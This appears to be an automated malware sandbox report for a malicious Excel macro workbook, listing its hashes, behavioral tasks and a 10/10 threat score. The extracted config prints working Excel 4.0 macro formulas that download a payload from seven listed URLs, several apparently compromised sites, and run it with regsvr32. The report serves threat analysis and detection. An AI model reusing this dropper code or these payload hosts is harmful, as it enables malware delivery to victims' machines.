Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d
-
Size
35KB
-
Sample
241111-z33vqswhlk
-
MD5
53be1163156130023d6ba3a1cbc5556c
-
SHA1
c5c8ef33c2493744279da1636aa12baafcbdd8a9
-
SHA256
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d
-
SHA512
befe429f03f39182387863858d665250d5be214ab6831570b6641e0d78c58438d630742ee695dbe5baa3a44f80168dbc63a876d6368a54a898c4a262dce91bb9
-
SSDEEP
768:K0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:K0t+gEUOZZ1ZYpoQ/pMA39
Behavioral task
behavioral1
Sample
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d.xlsm
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://www.rivabodrumresort.com/eski_site/HozRXt/
https://www.iinil.com/phpmyadmin/oWnF6m7JoN/
https://britainsolicitors.com/wp-admin/OshgKKcJ3I/
https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/
https://britspizzeria.com/cgi-bin/WRo/
https://trainingeighteen.co.zw/wp-content/f1Q3/
https://thiendoan.com/venmo/Mp1r/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Extracted
https://www.rivabodrumresort.com/eski_site/HozRXt/
https://www.iinil.com/phpmyadmin/oWnF6m7JoN/
https://britainsolicitors.com/wp-admin/OshgKKcJ3I/
https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/
https://britspizzeria.com/cgi-bin/WRo/
https://trainingeighteen.co.zw/wp-content/f1Q3/
https://thiendoan.com/venmo/Mp1r/
Extracted
https://www.rivabodrumresort.com/eski_site/HozRXt/
https://www.iinil.com/phpmyadmin/oWnF6m7JoN/
https://britainsolicitors.com/wp-admin/OshgKKcJ3I/
Targets
-
-
Target
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d
-
Size
35KB
-
MD5
53be1163156130023d6ba3a1cbc5556c
-
SHA1
c5c8ef33c2493744279da1636aa12baafcbdd8a9
-
SHA256
52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d
-
SHA512
befe429f03f39182387863858d665250d5be214ab6831570b6641e0d78c58438d630742ee695dbe5baa3a44f80168dbc63a876d6368a54a898c4a262dce91bb9
-
SSDEEP
768:K0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:K0t+gEUOZZ1ZYpoQ/pMA39
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-